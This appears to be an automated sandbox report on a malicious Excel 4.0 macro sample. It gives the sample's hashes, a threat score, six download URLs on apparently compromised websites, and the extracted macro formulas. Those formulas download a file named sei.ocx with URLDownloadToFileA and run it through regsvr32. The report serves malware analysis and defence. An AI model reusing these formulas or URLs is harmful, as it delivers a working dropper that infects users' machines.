General

  • Target

    c70187840157ca3ec274937855c2ff15335cbdfd53d8a51f9914e284050a57e5

  • Size

    46KB

  • Sample

    241119-nhpltswcqp

  • MD5

    48c0a3f719aa591e74522a93602d60b8

  • SHA1

    e193113ae51ab2de6711f9e11ce95d9081df9286

  • SHA256

    c70187840157ca3ec274937855c2ff15335cbdfd53d8a51f9914e284050a57e5

  • SHA512

    b5b1dfd4749a176add3db0221cacf79c465001d8d6ec4a981abde48e5e0a9bb48051f200923b479cf400a1feb265f1955e01fb970dc7cd3ad36d6912c1e7e9df

  • SSDEEP

    768:L1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:L1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

https://chera.co.kr/wp-includes/i2nnUkDXZ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

xlm40.dropper

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

xlm40.dropper

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

xlm40.dropper

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

xlm40.dropper

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

Targets

    • Target

      c70187840157ca3ec274937855c2ff15335cbdfd53d8a51f9914e284050a57e5

    • Size

      46KB

    • MD5

      48c0a3f719aa591e74522a93602d60b8

    • SHA1

      e193113ae51ab2de6711f9e11ce95d9081df9286

    • SHA256

      c70187840157ca3ec274937855c2ff15335cbdfd53d8a51f9914e284050a57e5

    • SHA512

      b5b1dfd4749a176add3db0221cacf79c465001d8d6ec4a981abde48e5e0a9bb48051f200923b479cf400a1feb265f1955e01fb970dc7cd3ad36d6912c1e7e9df

    • SSDEEP

      768:L1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:L1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks